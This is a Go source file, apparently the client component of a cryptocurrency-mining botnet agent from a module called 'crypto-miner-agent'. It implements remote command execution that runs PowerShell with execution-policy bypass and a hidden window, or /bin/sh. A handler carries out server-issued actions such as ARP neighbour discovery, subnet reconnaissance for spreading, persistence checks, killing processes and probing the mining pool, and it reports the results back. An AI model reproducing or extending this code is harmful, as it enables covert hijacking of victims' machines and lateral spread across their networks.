package client

import (
	"encoding/json"
	"fmt"
	"os/exec"
	"runtime"
	"strings"

	"crypto-miner-agent/deploy"
)

func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
	if runtime.GOOS == "windows" {
		return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command)
	}
	return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}

func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
	if runtime.GOOS == "windows" {
		return silentCombinedOutput("cmd.exe", "/C", command)
	}
	return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}

func (c *AgentClient) handleReconCommand(action, command string) bool {
	if action == "connectivity_probe" {
		probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
		b, _ := json.Marshal(probe)
		c.sendCommandResult(action, true, string(b))
		return true
	}
	if action == "arp_neighbors" {
		ips := deploy.ArpNeighborIPs()
		b, _ := json.Marshal(map[string]interface{}{
			"neighbors": ips,
			"count":     len(ips),
		})
		c.sendCommandResult(action, true, string(b))
		return true
	}
	if action == "network_recon" {
		hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
		b, _ := json.Marshal(hints)
		c.sendCommandResult(action, true, string(b))
		return true
	}
	if action == "persistence_audit" {
		report := collectPersistenceAudit()
		b, _ := json.Marshal(report)
		c.sendCommandResult(action, true, string(b))
		return true
	}
	if action == "kill_process" {
		pid := strings.TrimSpace(command)
		if pid == "" {
			c.sendCommandResult(action, false, "pid is required in command field")
			return true
		}
		ok, msg := killProcessByPID(pid)
		c.sendCommandResult(action, ok, msg)
		return true
	}
	if action == "full_sys_check" {
		report := CollectFullSysCheck(c.cfg, c.agentID)
		c.sendCommandResult(action, true, report.JSON())
		return true
	}

	handled, success, msg := c.platformRecon(action, command)
	if !handled {
		return false
	}
	c.sendCommandResult(action, success, msg)
	return true
}

func formatCmdErr(err error, out []byte) string {
	return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
}